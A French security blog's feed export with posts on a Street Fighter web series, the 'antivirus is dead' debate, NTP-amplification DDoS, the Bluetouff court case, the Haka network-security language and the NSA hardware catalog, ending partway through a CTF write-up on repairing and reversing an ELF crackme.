tag:blogger.com,1999:blog-23309844415759974762024-03-13T05:08:30.440+01:00ExploitabilityKevinhttp://www.blogger.com/profile/02931502286392645382noreply@blogger.comBlogger146125tag:blogger.com,1999:blog-2330984441575997476.post-4237223419827442972014-07-31T17:52:00.001+02:002014-08-01T12:00:16.891+02:00Street fighter -- Assassin's Fist<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj9VR-17LS3lngnoPaoyr6_hlDeqCIjl4UD6Is5lrOXL0CLZAlW_L24ZFn1HJ9eSM9HAS7KtpEbOmmLPCxzVD389S-iN1Tl7IRvz8nBzzeLwTkMlxBcVJNUbbcevhx_rCfdQY4t1eWIOtQ/s1600/sfaf.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj9VR-17LS3lngnoPaoyr6_hlDeqCIjl4UD6Is5lrOXL0CLZAlW_L24ZFn1HJ9eSM9HAS7KtpEbOmmLPCxzVD389S-iN1Tl7IRvz8nBzzeLwTkMlxBcVJNUbbcevhx_rCfdQY4t1eWIOtQ/s1600/sfaf.png" /></a></div>
De manière générale, l'adaptation d'un jeu vidéo en film donne très rarement des bons résultats. <br />
Mais ce n'est pas toujours vrai.<br />
<br />
Je viens de découvrir la web série "<a href="http://www.streetfighteraf.com/">Street Fighter - Assassin's Fist</a>" sur Machinima, et je ne peux que conseiller à tous les fans de <a href="https://www.blogger.com/fr.wikipedia.org/wiki/Street_Fighter_II:_The_World_Warrior">Street Fighter 2</a> de la regarder. Cette série est constituée de <a href="http://www.streetfighteraf.com/street-fighter-assassins-fist/#.U9phR9R9_Xs">12 épisodes + deux trailers</a>. L'histoire raconte l'entraînement de Ken et Ryu sur la voie de l'art martial Ansatsuken, initiés par leur maître Gouken. Le film fait des sauts dans le passé expliquant l'origine de l'ansatsuken et la rivalité entre Gouken et Akuma.<br />
<br />
D'après les commentaires lus sur internet il s'agit d'une série faite par deux fans du jeu et cela se ressent. Cette websérie présente Ken, Ryu, Gouken et Akuma de manière tout à fait crédible.<br />
<br />
Le scénario se tient, les combats parviennent à être crédible tout en conservant le visuel et les mouvements du jeu vidéo. Le caractère de Ryu e Ken correspondent également à l'idée que l'on se fait d'eux: Ryu, tout en réserve et Ken beaucoup plus extraverti.<br />
Il y a eu un gros travail sur la bande son, ou l'on retrouve plusieurs morceaux du jeu vidéo retravaillés, et détourné comme la musique de Ryu jouée à la flûte. A ce sujet, le nombre de détails tirés du jeu sont innombrables et participent beaucoup à l'immersion dans l'esprit du jeu vidéo.<br />
<br />
Cette websérie est un must see pour tout joueur de street fighter, et j'espère que la saison 2 viendra bientôt avec la même qualité.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<iframe allowfullscreen='allowfullscreen' webkitallowfullscreen='webkitallowfullscreen' mozallowfullscreen='mozallowfullscreen' width='320' height='266' src='https://www.youtube.com/embed/NyVO0NLoLWE?feature=player_embedded' frameborder='0'></iframe></div>
<br />
<a href="http://www.streetfighteraf.com/street-fighter-assassins-fist/">L'ensemble des vidéos sur le site d'Assassins Fist.</a>Kevinhttp://www.blogger.com/profile/02931502286392645382noreply@blogger.com1tag:blogger.com,1999:blog-2330984441575997476.post-87918605105149571692014-06-03T14:26:00.001+02:002014-06-03T14:26:59.621+02:00SSTIC 2014Tout droit sorti de l'imprimante<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgaXYtAj0NrA4FKecYx4JX1ERsf2_Su1agFu5D9Z5lO_pN98MPavhH0K4qT5NdyUsFJIldKKp2KWKwOx8FuLGgugl_NplCqZ5DgYKE-tA1aLev7kBKT8j2PsDWbnNbAEJJKdWArnknq9ck/s1600/SSTIC.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgaXYtAj0NrA4FKecYx4JX1ERsf2_Su1agFu5D9Z5lO_pN98MPavhH0K4qT5NdyUsFJIldKKp2KWKwOx8FuLGgugl_NplCqZ5DgYKE-tA1aLev7kBKT8j2PsDWbnNbAEJJKdWArnknq9ck/s1600/SSTIC.png" /></a></div>
<br />Kevinhttp://www.blogger.com/profile/02931502286392645382noreply@blogger.com0tag:blogger.com,1999:blog-2330984441575997476.post-89481871223896229142014-05-12T13:29:00.003+02:002014-05-12T13:29:58.443+02:00L'antivirus est mort (air connu)<br />
On a vu cette info beaucoup reprise sur les réseaux sociaux ces derniers temps: pour Bryan Dye, vice-président chez <a href="http://www.symantec.com/">Symantec</a>, l'<a href="http://online.wsj.com/news/articles/SB10001424052702303417104579542140235850578">antivirus est mort et condamné à l'échec</a>. C'est une position étrange pour une société qui édite justement un antivirus. Si on regarde l'article initial, on se rend compte que sa position est effectivement plus nuancée.<br />
<br />
1/ L'antivirus est un échec <i>[(c) newsoft]</i><br />
Dye dit que l'antivirus est un échec commercialement parlant. Symantec va décider de ne plus investir dans cette technologie "<i>We don't think of antivirus as a moneymaker in any way.</i>".<br />
Le calcul ici est simple: les "<i>bad guys</i>" savent contourner un antivirus. Les antivirus et les virus ont joués à la souris pendant longtemps (vitesse et fréquence de mise à jour, analyse comportementale, ajout d'options de firewalling, sandbox, etc..) mais à la fin, le virus gagne toujours. Selon Dye, il semble donc plus pertinent de passer à autre chose que de continuer cette course à la technologie dans laquelle ils sont perdant.<br />
<br />
2/ Mais l'antivirus reste incontournable.<br />
Malgré ses défauts, l'antivirus bloque tout de même 45% des menaces (toujours selon le même article).<br />
Même si ce pourcentage reste sujet à caution (comment sont qualifiées et comptées ces menaces? Voir un <a href="http://www.bortzmeyer.org/compter-attaques.html">article de S.Bortzmeyer</a> intéressant à ce sujet), l'antivirus reste bon dans son domaine: bloquer un certain "bruit de fond" de menaces informatiques. Dye souhaite don le cantonner à ce rôle et proposer une nouvelle forme de défense.<br />
<br />
3/ Ne plus essayer de protéger, mais de minimiser les impacts<br />
Dès lors qu'il est majoritairement admis que des attaquants motivés savent contourner les antivirus, et que ces mêmes antivirus ne pourront jamais l'empêcher, il faut trouver une ligne de défense supplémentaire.<br />
Au lieu de prévenir une infection, le but est désormais de la détecter fiablement le plus vite possible, peu importe que l'infection initiale ait réussie ou non.<br />
Et bien évidemment, Dye indique que Symantec va lancer une nouvelle offre de sécurisation des données et des réseaux qui va faire du comportemental: combo classique sonde réseau (et probablement agents sur les postes et points clés).<br />
<br />
4/ Etes vous les 20%<br />
L'analyse faite sur les antivirus par Mr Dye peut être portée de la même manière sur les firewalls: ils savent bloquer une petite catégorie d'attaque, mais un attaquant motivé va toujours le contourner. Faut il pour autant le supprimer? Bien évidemment non. Un antivirus et un firewall vont bloquer 80% des attaques. Le problème, <a href="http://exploitability.blogspot.fr/2012/10/etes-vous-les-20.html">dont j'ai déjà parlé ici, concerne ces fameux 20% restants</a>.<br />
<br />
80% des attaques bloquées par les outils traditionnels (antivirus, firewall, lecture de logs), qui sont des defaçages de site web, des vols de numéros de CB, du spam, etc.. Les 20% restants, ce sont du vol de propriété intellectuelle, obtenir des informations confidentielles, endommager des infrastructures du monde physique, décrédibiliser une entreprise, voler du code source ou des certificats de chiffrements etc. et ce sont ces 20% qui posent problème.<br />
<br />
Fin 2012, les options consistaient en l'analyse des 10 ou 12 failles vraiment problématique, l'offensif ou l'augmentation du coût de l'attaque. Si on les prend dans l'ordre:<br />
<br />
<ul>
<li>L'analyse des failles c'est bien (et super intéressant), mais est-ce suffisant pour établir une ligne de défense solide? Cela fait évidemment partie d'une stratégie plus globale mais ne peut prétendre à elle seule être une solution.</li>
<li>L'offensif, pourquoi pas, mais aucune entreprise commerciale ne pourra proposer cette option.</li>
<li>L'augmentation du coût de l'attaque est une hypothèse peu efficace dans le cadre d'attaquant motivé par un autre but que l'argent (par exemple pour stuxnet, quelle était le poids du budget dans la décision de lancer le projet?)</li>
</ul>
<br />
Ces méthodes restent encore une fois dans la défense; est-ce vraiment le bon (ou l'unique) moyen de se prémunir des attaques?<br />
<br />
5/ un nouveau paradigme: vous êtes compromis.<br />
La stratégie qui consiste à empêcher un attaquant d'entrer et corrompre un réseau va donc le mur.<br />
<br />
Il semble plus sage aujourd'hui de considérer que <b>l'état de compromission est l'état standard d'un réseau et de ses données</b> et qu'il faille faire avec.<br />
<br />
Nous commençons aujourd'hui à observer une voie médiane qui consiste non plus à empêcher ces attaques de survenir, mais à les détecter et les analyser afin d'en comprendre l'origine, l'ampleur et le but[1]. Les protections vont dans ce sens. Dans le même ordre d'idée certaines sociétés ne proposent plus de pentest mais des <a href="https://www.mandiant.com/blog/penetration-testing-age-time-move/">analyses de compromissions</a>.<br />
<br />
L'état est donc le suivant, qui n'est pas à l'avantage de la défense:<br />
<br />
<ul>
<li>bloquer 80% des attaques low tech avec les outils traditionnels (antivirus, firewall, logs, etc.)</li>
<li>minimiser au maximum l'impact des 20% d'attaques high tech avec des nouveaux outils et nouvelles méthodes. Reste à trouver lesquels sont efficaces et lesquels sont du pur produit marketing :-)</li>
</ul>
<br />
<br />
---<br />
<span style="font-size: x-small;">[1] Je ne peux m'empêcher de penser à un cours d'histoire que j'avais eu plus jeune concernant les menaces terroristes: a une époque, les gouvernements cherchaient surtout à empêcher les groupes terroristes de se former. Puis ils ont ensuite cherché à les contrôler afin de mieux connaître ces groupes, ces personnes et ces réseaux. Quelle est la méthode la plus efficace?</span><br />
Kevinhttp://www.blogger.com/profile/02931502286392645382noreply@blogger.com0tag:blogger.com,1999:blog-2330984441575997476.post-4087769268370299732014-02-28T13:35:00.000+01:002014-02-28T13:35:01.581+01:00400 Gigabits par seconde, c'est beaucoup pour un DDOS?Il y a un peu moins d'un an, je titrais un article de blog "<a href="http://exploitability.blogspot.fr/2013/03/300-gigabits-par-seconde-cest-beaucoup.html">300 Gigabits par seconde, c'est beaucoup pour un DDOS</a>"? Il y a de cela deux semaines, <a href="https://www.cloudflare.com/">CloudFlare</a> donnait de nouveaux chiffres alarmant, citant une attaque à 400Gbit/s.<br />
<br />
Cette info m'a inspiré deux réflexions. La première concerne le messager: on sait que cloudflare vend de la protection antiDDos, ils sont donc les plus intéressés de citer des DDos de grande ampleur en raison de la publicité que cela leur fait. Les chiffres ont en effet été repris par un certain nombre de sites d'infos techniques avec des liens vers cloudflare. Vu les moyens mis en oeuvre pour l'attaque contre SpamHaus pour atteindre 300GBit/s, ce chiffre de 400 avait une odeur de suspicion. La seconde réflexion concerne les motivations de la personne effectuant ce DDos qui ne sont jamais données, non plus que la cible. Nous aurions une personne (ou un groupe de personnes) capable de lancer le DDos le plus puissant du monde, sans raison, ni motivations, ni cible. Ce qui semble étrange. J'ai donc laissé de côté un peu cette info, pensant être en face d'un "coup" marketing plus que technique.<br />
<br />
Puis des informations techniques sont tombées, extrêmement intéressantes.<br />
<br />
Tout d'abord, sur la méthode employée. Comme attendu, les attaquants ont utilisés de l'amplification. Au lieu d'attaquer le serveur, on requête un serveur tiers avec l'IP source de la victime, et on s'arrange pour que la réponse de ce serveur tiers soit plus grosse que la requête. Double effet: on masque la véritable IP de l'attaquant, et on gagne en puissance de feu^W débit. Il y a 6 mois, on entendait beaucoup parler d'<a href="http://grehack.org/files/2013/GreHack_2013_proceedings-separate_files/3-accepted_papers/3.5_Alejandro_Nolla_-_Amplification_DDoS_attacks_with_game_servers.pdf">amplification par les serveurs de jeux</a> (par exemple à la <a href="http://grehack.org/">GreHack</a>). Un nouvel amplificateur particulièrement puissant a été trouvé: le <a href="http://fr.wikipedia.org/wiki/Network_Time_Protocol">NTP</a>. Un bon <a href="http://www.bortzmeyer.org/ntp-reflexion.html">article de Bortzmeyer</a> explique cette attaque. Je me demande si des gens ont scanné Internet à la recherche de "<a href="http://en.wikipedia.org/wiki/Character_Generator_Protocol">chargen</a>", ça pourrait être très pratique. [EDIT : effectivement : Cf <a href="https://isc.sans.edu/diary/A+Chargen-based+DDoS%3F+Chargen+is+still+a+thing%3F/15647">https://isc.sans.edu/diary/A+Chargen-based+DDoS%3F+Chargen+is+still+a+thing%3F/15647</a>]<br />
<br />
Ensuite, des chiffres équivalents ont été donnés par d'autre fournisseurs de service comme OVH, ce qui tend à prouver la réalité de ces chiffres élevés.<br />
<br />
Enfin, un <a href="http://blog.cloudflare.com/technical-details-behind-a-400gbps-ntp-amplification-ddos-attack">document interne de CloudFlare</a> donne beaucoup d'informations sur l'attaque (contrairement à leur premier communiqué). L'amplification NTP permet de faire un x200 en débit (!!!). L'autre information percutante, c'est celle-ci "<i>Remarkably, it is possible that the attacker used only a single server
running on a network that allowed source IP address spoofing to initiate
the requests.</i>" En x200, il suffit de deux cartes réseaux à 1Gbit/s pour atteindre 400GBit/s... CloudFlare compare ensuite l'attaque au DDos qui a eu lieu contre spamhaus (qui avait sollicité de gros moyens) avec celle-ci. Il a suffit à l'attaquant 7 fois moins de machines amplificatrics pour un résultat 33% supérieur. Finalement, l'attaque à 400Gbit/s est relativement plus simple que celle contre SpamHaus, permettant d'imaginer ce DDos comme un test grandeur nature.<br />
<br />
Pour terminer, il semblerait que le prochain amplificateur soit trouvé avec <a href="http://fr.wikipedia.org/wiki/Simple_Network_Management_Protocol">snmp</a>. Les premiers calculs indiquent une amplification maximale de 650! S'il se réalise, le prochain DDos dépassera le Terabit/s. Comme disent les anglais: "<i>wait and see</i>".Kevinhttp://www.blogger.com/profile/02931502286392645382noreply@blogger.com0tag:blogger.com,1999:blog-2330984441575997476.post-6596143895037025562014-02-10T15:14:00.003+01:002014-02-10T15:14:59.773+01:00Bluetouff et gogleuhVous n'avez pas pu le rater, <a href="https://twitter.com/bluetouff/status/431085890299895809">Bluetouff est désormais un cybercriminel</a>.<br />
<br />
Résumé des faits : <a href="http://bluetouff.com/">Bluetouff</a> cherche à l'aide de Google diverses données. Il tombe sur le site web de l'<a href="http://www.anses.fr/fr">Anses</a> qui contient des documents très intéressants. Il en télécharge plusieurs, et commente certains d'entre eux sur le site de <a href="http://reflets.info/">reflets</a>. L'Anses s'émeut du fait de trouver ses documents et <a href="http://www.police-nationale.interieur.gouv.fr/Organisation/Direction-Centrale-du-Renseignement-Interieur">décide de mener une enquête</a>.<br />
Bluetouff se voit donc face à la justice, et tout geek un minimum versé dans la technique ne voit pas d'autre issue dans ce procès que la <a href="https://fr.wikipedia.org/wiki/Relaxe">relaxe</a> puisque Bluetouff n'a rien fait d'autre que de télécharger des documents accessibles publiquement.<br />
<br />
Le jugement en appel, décidé par le parquet uniquement (l'Anses n'a pas voulu poursuivre la procédure) montre le contraire puisque Bluetouff est condamné. On a pu voir fleurir un bon nombre de commentaires mi amusé, mi ecoeuré sur le thème: la justice n'y connait rien, et utiliser gogleuh n'a rien de répréhensible. Le jugement est pourtant très clair et n'a rien à voir avec Google.<br />
<br />
Le jugement, public, est disponible : <a href="http://www.scribd.com/document_downloads/205391299?extension=pdf&from=embed&source=embed">Arrêt Bluetouff</a>. Il se lit très bien (6 pages). Les juges vont devoir qualifier en droit les actes qu'on leur a soumis. Le procès va donc chercher à éclaircir trois points, pour juger de ces trois infractions:<br />
1/ Bluetouff s'est introduit de manière frauduleuse dans le site de l'Anses<br />
2/ Bluetouff s'est maintenu frauduleusement dans le site de l'Anses<br />
3/ Bluetouff a volé des données sur le site de l'Anses<br />
<br />
Et là, les juges vont faire du juridique et non pas de la technique. Sur le premier point, ils indiquent que Bluetouff n'est pas poursuivi car rien ne vient prouver l'intention frauduleuse d'accéder à ces données, puisque même l'Anses le reconnaît. Point besoin d'être expert sécu pour comprendre que si le plaignant indique n'avoir rien fait pour protéger ses données, la bonne foi du visiteur passant par là peut être acquise. Sur le second point, c'est là que tout se joue. Les juges indiquent noir sur blanc que le prévenu "<b>a constaté la présence de contrôles d'accès</b>" et qu'<b>il le reconnaît</b>. Point besoin de technique non plus pour lui mettre le dos le "maintien frauduleux". Dans l'esprit des juges, il savait que c'était protégé, il est resté, donc maintien frauduleux; c'est simple. Sur le vol, les juges indiquent que Bluetouff a copié, dupliqué et partagé ces fichiers sans plus d'explications. Les juges indiquent vol de fichiers inaccessibles au public, mais le point 1 montre qu'en tout état de cause ces fichiers étaient accessibles au public (de manière involontaire, certes). C'est un point léger dans leur argumentaire.<br />
<br />
Que peut on en conclure? Le raisonnement des juges est assez clair et le point central repose sur cet "aveu" de Bluetouff disant qu'il est resté après avoir su qu'il s'agissait de documents protégés. Si vous vous faites arrêter un jour (et je ne le souhaite à personne), faites attention à ce que vous dites...<br />
<br />
<br />
Pour la suite, il y a le <a href="http://bluetouff.com/2014/02/10/du-delit-de-maintien-dans-un-espace-public/">point de vue du principal intéressé sur son blog</a>, et un pourvoi en cassation qui est en cours. Je ne suis malheureusement pas très optimiste sur le pourvoi en cassation :-( l'histoire nous le dira.Kevinhttp://www.blogger.com/profile/02931502286392645382noreply@blogger.com0tag:blogger.com,1999:blog-2330984441575997476.post-54865917526011295732014-01-23T11:25:00.002+01:002014-01-23T11:30:32.373+01:00Haka est sorti: TCP/IP security is not boring anymore!Il y a trois ans, je publiais un article intitulé "<a href="http://exploitability.blogspot.fr/2010/07/tcpip-security-is-boring.html">TCP/IP security is boring</a>" dans lequel j'indiquais que la sécurité TCP/IP était devenue ennuyeuse.<br />
La sécurité remonte sur les couches hautes, et les firewalls sont finalement limités dans leur usage: on coche une case pour appliquer une politique de sécurité sans jamais pouvoir sortir du carcan initial prévu par l'outil.<br />
<br />
Mais le projet <a href="http://haka-security.org/">HAKA</a> voit le jour, et je vais en faire un peu sa pub [1].<br />
<br />
Je fais partie de l'équipe qui développe le projet HAKA, et avec HAKA la sécurité réseau ne sera plus jamais ennuyeuse. Haka est un langage orienté sécurité et réseau permettant d'accéder à n'importe quel champ protocolaire d'une communication et d'interagir avec celle-ci de manière simple (modification, suppression, création de paquet) sans avoir à se poser des questions compliquées sur la gestion bas niveau (gestion de la mémoire, dissection de protocole, ordonnancement des paquets, etc..). Ceci donne des possibilités illimitées quant à l'application de règles de sécurité et d'analyse des flux réseaux.<br />
<br />
Un <a href="http://haka-security.org/">site web a été ouvert</a>, ainsi qu'un <a href="https://github.com/haka-security">github</a> car HAKA est open-source. Get it, commit, play with it, fork it ou tout autre mot en 'it' :) Une version précompilée pour debian (32 ou 64bits) est disponible afin de pouvoir le tester facilement. Haka peut être lancé sur du trafic live pour l'analyser (le logger, bloquer, modifier, etc..) ou bien sur des pcap. La version 0.1 permet d'accéder à n'importe quel champ IP, TCP et HTTP.<br />
<br />
Pour montrer la facilité d'usage de HAKA, des <a href="http://doc.haka-security.org/haka/release/v0.1/doc/user/tutorial.html">tutoriels montrent comment utiliser Haka</a>. Après l'inévitable Hello World, sont présentés la manière de faire du filtrage sur n'importe quel champ IP/TCP/HTTP puis une méthode originale pour bloquer les navigateurs webs qui ne sont pas à jour en les forçant à être redirigés sur les sites d'update. Puis un module de statistiques est écrit sur une manière de browser des pcaps. Ensuite un exemple de détection de SQL injections est écrit: en une centaine de lignes de code, il devient possible de détecter et bloquer (ou modifier, ou ce que vous voulez en fait) des SQLi sur flux sans utiliser de proxy applicatifs ou autre outil lourd, avec des possibilités d'extensions simples. Pour finir, un exemple de groupe de règles est expliqué.<br />
<br />
Pour donner un avant goût, voici un exemple de règle haka:<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEigOTs3styP82NOm6JLT56QA4H-URnBikvzrCY6_XXamwXqF6-v1iyNO7Bp6wemkoU7OTcCyoPUA6hX2Donvh8eatN_rfSZU8t0ij7AOyY5f4EiYjEcwM9Ton4AZluo8JFOH9J2WJH635o/s1600/haka-rule-mozilla.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEigOTs3styP82NOm6JLT56QA4H-URnBikvzrCY6_XXamwXqF6-v1iyNO7Bp6wemkoU7OTcCyoPUA6hX2Donvh8eatN_rfSZU8t0ij7AOyY5f4EiYjEcwM9Ton4AZluo8JFOH9J2WJH635o/s1600/haka-rule-mozilla.png" /></a></div>
Pour les exemples, un seul endroit: <a href="http://haka-security.org/resources/">le site web</a>.<br />
<br />
Haka a beaucoup d'autres fonctions qui en font un langage facile à utiliser:<br />
debugger, analyse interactive, API C/Lua pour l'étendre, etc... La version 0.1 permet d'utiliser les règles de sécurité, les versions suivantes vont donner la possibilité de définir une grammaire et une machine à état pour définir soi-même des règles de dissection protocolaire.<br />
<br />
Haka, c'est bon, mangez-en :-)<br />
---<br />
[1] Ce blog reste un blog personnel, le site officiel et la communication officielle autour de Haka se fait sur <a href="http://haka-security.org/">son site web</a> et sur <a href="https://github.com/haka-security">github</a>.Kevinhttp://www.blogger.com/profile/02931502286392645382noreply@blogger.com0tag:blogger.com,1999:blog-2330984441575997476.post-13045820244894521432013-12-29T21:40:00.001+01:002014-01-03T12:20:44.705+01:00NSA Catalog : petit papa SnowdenLes révélations faites par Edward Snowden continuent.<br />
Le spiegel vient de publier un article sur le <a href="http://www.spiegel.de/international/world/catalog-reveals-nsa-has-back-doors-for-numerous-devices-a-940994.html">catalogue NSA</a>. Edit 30/12/2013: <a href="http://leaksource.wordpress.com/2013/12/30/nsas-ant-division-catalog-of-exploits-for-nearly-every-major-software-hardware-firmware/">Un lien avec un grand nombre de pages du catalogue</a> /Edit. Il s'agit de tout ce que peut faire la NSA concernant les attaques sur le matériel. Et la liste est encore une fois longue. Les disques durs? Backdoorés. Les BIOS? Backdoorés. Les firewalls Juniper/Cisco? Backdoorés. Les cordons USB? Backdoorés. Le crash reporter de windows? Backdooré. Les communications mobiles? Ecoutées. Etc, etc, etc.. Inutile de reprendre l'article du spiegel, je vous laisse le lire.<br />
<br />
Voici par exemple une image d'un cordon USB backdooré:<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhx5_3RVFHVDHdMw75y9Ns5lGCPmJH-set7V6deIBBL7KyDaoE2yoJGFlLcjJ0e-IJ9d4Emlzm1ZButD53KSYi9nOST-gCinV-RxwSIGOvxJn_qHN2qgGQtYpN60UUV8P1NPfo_pVCAT84/s1600/USB.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhx5_3RVFHVDHdMw75y9Ns5lGCPmJH-set7V6deIBBL7KyDaoE2yoJGFlLcjJ0e-IJ9d4Emlzm1ZButD53KSYi9nOST-gCinV-RxwSIGOvxJn_qHN2qgGQtYpN60UUV8P1NPfo_pVCAT84/s1600/USB.png" /></a></div>
Cela permet la persistance de l'infection, de la communication over-the-air grâce à une antenne RF, etc...<br />
<br />
Je serais curieux de lire le catalogue complet.<br />
<br />
A part ça, joyeux noël :-)<br />
<br />
Edit: De plus en plus d'articles mentionnent le fait que le <a href="http://community.websense.com/blogs/securitylabs/archive/2013/12/29/dr-watson.aspx">crash reporter de windows envoie les données en clair</a>. Le <a href="http://exploitability.blogspot.fr/2011/05/envoi-du-rapport-de-bug-chez-apple.html">crash reporter de mac utilise SSL/TLS</a> mais si vous avez accès à un cerificat SSL, ça se casse facilement aussi. <br />
<br />Kevinhttp://www.blogger.com/profile/02931502286392645382noreply@blogger.com0tag:blogger.com,1999:blog-2330984441575997476.post-65462903784989411682013-11-19T23:13:00.001+01:002013-11-20T10:10:50.389+01:00Grehack 2013 writeup - 1337Un des challenges de la grehack 2013 était du reverse linux.<br />
Le binaire s'appelait <a href="http://dl.free.fr/hcrrt8to4">1337</a> (et les orgas avaient prévenus qu'ils aimaient le l33tsp34k). En attendant que l'orga mette les fichiers en libre-accès, je le pose sur un site de dl.<br />
<br />
Writeup, première phase de découverte:<br />
<span style="font-family: "Courier New",Courier,monospace;">kevin@slack:~/chall/grehack$ file 1337 <br />1337: ELF 32-bit LSB executable, Intel 80386,, statically linked, stripped<br />kevin@slack:~/chall/grehack$ readelf -s 1337 <br />readelf: Error: Unable to read in 0x28 bytes of section headers<br />readelf: Error: Unable to read in 0x488 bytes of section headers<br />readelf: Error: Unable to read in 0x100 bytes of program headers</span><br />
WUT? Un ELF illisible?<br />
<br />
Bon, premier exercice, réparer le binaire:<br />
<span style="font-family: "Courier New",Courier,monospace;">kevin@slack:~/chall/grehack$ hexdump -C 1337 | head -2<br />00000000 7f 45 4c 46 01 01 01 13 37 13 37 13 37 13 37 00 |.ELF....7.7.7.7.|<br />00000010 02 00 03 00 01 13 37 00 90 84 04 08 34 13 37 00 |......7.....4.7.|<br />kevin@slack:~/chall/grehack$ hexdump -C /bin/ls | head -2<br />00000000 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 |.ELF............|<br />00000010 02 00 03 00 01 00 00 00 b4 c1 04 08 34 00 00 00 |............4...|</span><br />
Il y a quand même beaucoup de 1337 dans ce binaire. On tente une approche basique: tous les 0000 sont remplacés par des 1337:<br />
<span style="font-family: "Courier New",Courier,monospace;">kevin@slack:~/chall/grehack$ cp 1337 wip<br />kevin@slack:~/chall/grehack$ sed -i 's/\x13\x37/\x00\x00/g' wip <br />kevin@slack:~/chall/grehack$ readelf -s wip <br /><br />Symbol table '.dynsym' contains 12 entries:<br /> Num: Value Size Type Bind Vis Ndx Name<br /> 0: 00000000 0 NOTYPE LOCAL DEFAULT UND <br /> 1: 00000000 0 FUNC GLOBAL DEFAULT UND printf@GLIBC_2.0 (2)<br /> 2: 00000000 0 FUNC GLOBAL DEFAULT UND free@GLIBC_2.0 (2)<br /> 3: 00000000 0 FUNC GLOBAL DEFAULT UND fgets@GLIBC_2.0 (2)<br /> 4: 00000000 0 FUNC GLOBAL DEFAULT UND malloc@GLIBC_2.0 (2)<br /> 5: 00000000 0 FUNC GLOBAL DEFAULT UND puts@GLIBC_2.0 (2)<br /> 6: 00000000 0 NOTYPE WEAK DEFAULT UND __gmon_start__<br /> 7: 00000000 0 FUNC GLOBAL DEFAULT UND exit@GLIBC_2.0 (2)<br /> 8: 00000000 0 FUNC GLOBAL DEFAULT UND strlen@GLIBC_2.0 (2)<br /> 9: 00000000 0 FUNC GLOBAL DEFAULT UND __libc_start_main@GLIBC_2.0 (2)<br /> 10: 0804889c 4 OBJECT GLOBAL DEFAULT 16 _IO_stdin_used<br /> 11: 08049aa0 4 OBJECT GLOBAL DEFAULT 26 stdin@GLIBC_2.0 (2)<br />kevin@slack:~/chall/grehack$</span><br />
Ok, ça semble bon.<br />
<br />
<span style="font-family: "Courier New",Courier,monospace;">kevin@slack:~/chall/grehack$ ./wip <br />Ready to become 1337?<br />yes<br />fail</span><br />
Ok. Il est temps de regarder un peu à quoi ressemble ce challenge, pour une approche rapide, je prends metasm. Je démarre par l'entrypoint (0x8048490) et je navigue un peu jusqu'à 0x0804857c qui semble intéressant.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzlUS25Jm0EEH-qgCVEU7FesBEf3QNuhyphenhyphenxaOU4EqZkeSJqWWcuWn4IVUtMDRStpovVPbC4Fjrf2VOJqlJKeQNC1TCiQUHd9LUeTPrtXpt-KAYubawxPrk6dn4zO_Tx8xriqVvMvYFymOU/s1600/1-0x0804857c.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzlUS25Jm0EEH-qgCVEU7FesBEf3QNuhyphenhyphenxaOU4EqZkeSJqWWcuWn4IVUtMDRStpovVPbC4Fjrf2VOJqlJKeQNC1TCiQUHd9LUeTPrtXpt-KAYubawxPrk6dn4zO_Tx8xriqVvMvYFymOU/s1600/1-0x0804857c.png" /> </a></div>
<div class="separator" style="clear: both; text-align: left;">
Et ce qui est à l'adresse 0x080488a0 est encore plus intéressant: on découvre trois manières d'écrire FAIL, puis un message de félicitations.</div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjvukvXHEqzwhfR1MfweOoYEBC54qFfcClCLFA_j2EZ8IGt8q8cnrTiyCkRF4Dbzjb0Di8CS0Hr90GO7MjGeXOE6KrzW6oRap6Ivqj20sbD-MyEkGjUcYvzTuqz-Z8BbWKrPATNRhtM83s/s1600/2-0x080488a0.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjvukvXHEqzwhfR1MfweOoYEBC54qFfcClCLFA_j2EZ8IGt8q8cnrTiyCkRF4Dbzjb0Di8CS0Hr90GO7MjGeXOE6KrzW6oRap6Ivqj20sbD-MyEkGjUcYvzTuqz-Z8BbWKrPATNRhtM83s/s1600/2-0x080488a0.png" /> </a></div>
<div class="separator" style="clear: both; text-align: left;">
Si je regarde une vue d'avion du programme, on se rend compte que l'on peut dérouler l'exécution en plusieurs phases: </div>
<div class="separator" style="clear: both; text-align: center;">
